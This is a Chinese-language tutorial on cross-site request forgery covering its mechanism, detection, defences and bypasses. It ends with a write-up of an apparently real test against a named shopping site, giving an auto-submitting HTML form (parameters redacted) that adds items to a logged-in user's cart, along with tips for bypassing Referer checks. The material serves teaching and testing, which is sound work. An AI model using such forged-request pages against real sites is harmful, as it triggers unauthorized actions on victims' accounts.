漏洞解析--CSRF
漏洞原理
核心
CSRF(跨站请求伪造)漏洞的核心在于:浏览器会在跨站请求中自动附带用户的 Cookie 等身份凭证,导致攻击者可以诱导用户在已登录的情况下对目标网站发起恶意请求。
原理详解
-
用户登录了 B 网站,B 网站在浏览器里设置了会话 Cookie。
-
用户在未退出登录的情况下访问了攻击者控制的 A 网站。
-
A 网站页面中包含一个指向 B 网站的恶意请求,例如:
<img src="https://b.com/transfer?to=attacker&amount=1000">
上述链接会向攻击者转账1000元
4. 浏览器在请求 B 网站时,会自动带上用户的 Cookie。
5. B 网站无法区分这是用户主动操作还是被攻击者诱导的请求,于是执行了恶意操作。
检测方法与危害
检测方法
只测试敏感接口即可!!!测试不敏感接口纯属浪费时间,因为不敏感接口就算有CSRF也是浪费时间。
一、 手工检测方法
-
观察:请求里是否有 CSRF Token、Referer、Origin、双重 Cookie 等保护手段。
-
尝试删除/修改:去掉 Token,篡改 Referer,重放请求。如果什么也没有,直接重放就行。如果重放成功,大概率就有CSRF。
-
构造跨站请求:用 HTML 表单/IMG 标签模拟,看在真实浏览器中是否能自动执行。
-
判断结果:请求是否成功执行敏感操作。
二、 自动化检测方法
2.1 使用漏洞扫描器
-
工具如 OWASP ZAP、Burp Suite 都能检测 CSRF:
- Burp Suite 的 “CSRF Scanner” 可以自动检测表单、请求是否缺少 CSRF Token。
- ZAP 的 “Active Scan” 同样支持 CSRF 检测。
2.2 检测原理
-
扫描器会:
- 捕获所有敏感请求。
- 重放请求到目标站点,模拟跨站攻击。
- 检查请求是否被执行(例如账户信息修改成功)。
危害
只要是用户在正常登录状态下能做到的操作,CSRF 理论上都能做到。
修复方法与绕过
推荐使用 Authorization: Bearer
Refer头
不应作为主流修复方法。虽然实现简单,但是Referer不可靠,Referer段可能被浏览器去掉,也不利于用户隐私保护。
- 原理:通过检查
Referer
或Origin
请求头,验证请求是否来自本站页面。 - 绕过:直接删掉或修改伪造Referer或Origin字段,看看能不能直接绕过。
Token机制
可以作为主流修复方法
- 原理:在表单或请求中加入一个随机生成的 CSRF Token,并在服务端校验。
- 流程:
- 用户访问页面时,服务器生成一个随机 Token,放到前端localStorage、sessionStorage 或内存里。
- 前端在提交请求时,必须通过被访问网站的前端js脚本显式带上该 Token。
- 服务器验证 Token 是否正确。
- 因为用户是通过其他网站(网站A)访问一个网站(称为网站B),而只有网站B中的前端脚本中存储token,以此通过A网站无法获取B网站脚本中存储的token。
- 绕过:
有token不代表一定不存在CSRF。有的token并不用于身份校验甚至根本后端没有校验,那么直接删掉token或不管也行。
补充说明
Token和Cookie对比
特性 | Cookie | Token |
---|---|---|
发送方式 | 浏览器自动附带(不可控) | 前端代码显式添加(可控) |
存储位置 | 浏览器 Cookie Jar | localStorage / sessionStorage / 内存 |
安全风险 | 易受 CSRF 攻击 | 抵抗 CSRF,但需防 XSS |
使用场景 | 传统网站 Session 管理 | API / 前后端分离 / 移动端 |
防御手段 | 需额外加 CSRF Token、SameSite Cookie | 本身天然抵御 CSRF |
localStorage/sessionStorage/内存
- localStorage
浏览器提供的存储空间,存放在用户本地硬盘上。
特点:
-
持久存储(浏览器关了再开还在)。
-
同源限制:只能被同一个域名的前端 JS 访问。
-
常用于保存长期有效的 Token(例如 JWT)。
举例:
localStorage.setItem("token", "eyJhbGciOi...");
console.log(localStorage.getItem("token"));
- sessionStorage
和 localStorage 类似,也是浏览器提供的存储空间。
特点:
-
仅在当前浏览器标签页有效。
-
关闭标签页后就会清除。
-
常用于保存短期 Token(例如一次性登录票据)。
举例:
sessionStorage.setItem("token", "eyJhbGciOi...");
console.log(sessionStorage.getItem("token"));
- 内存存储(In-memory)
特点:
-
不依赖浏览器自带的存储机制,而是把 Token 直接保存在运行时变量里。
-
一旦页面刷新或浏览器关闭,变量就会消失。
-
常用于安全要求更高的场景,因为 Token 不会长期暴露在 localStorage / sessionStorage 中。
举例:
let token = "eyJhbGciOi..."; // 保存在 JS 变量里
漏洞实战
以一下漏洞实战为例,是一个可以做到部分正常用户操作的CSRF,以添加购物车功能为例。本例数据皆已经脱敏,仅供学习研究,不可用于违法用途!
步骤
- 登录网站
做CSRF测试的前提是先注册登陆一个账号,并拿到Cookie。 - 找到敏感接口抓包测试
做测试可以不拿特别敏感的接口,避免造成恶劣影响。这里找到一个将商品添加到购物车的接口,用BurpSuite抓包,如图所示。
可以看到只有Referer字段和Origin字段,没有token,尝试一下可能有CSRF。 - 绕过Referer/Origin
这里很简单,修改一下Referer/Orign即可。随便改成什么都可以,这里改成111,发现可以绕过(证明后端对Referer/Origin没有校验)。重放发包发现没问题。
发现确实成功添加到购物车了。 - 构造恶意网页
html代码如下,访问该网页自动执行CSRF攻击:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title> CSRF TEST</title>
</head>
<body>
<form action="https://www.zlketang.com/wxpub/shop/cartv2" method="POST">
<!-- 参数1 -->
<input type="hidden" name="xxx1" value="xxx" />
<!-- 参数2 -->
<input type="hidden" name="xxx2" value="xxx" />
<!-- 参数3 -->
<input type="hidden" name="xxx3" value="xxx" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
先把购物车删除了方便再次验证。在已经登录获得cookie的浏览器中访问该网页,触发CSRF。再次刷新检查购物车,发现商品已经添加,证明确实存在CSRF。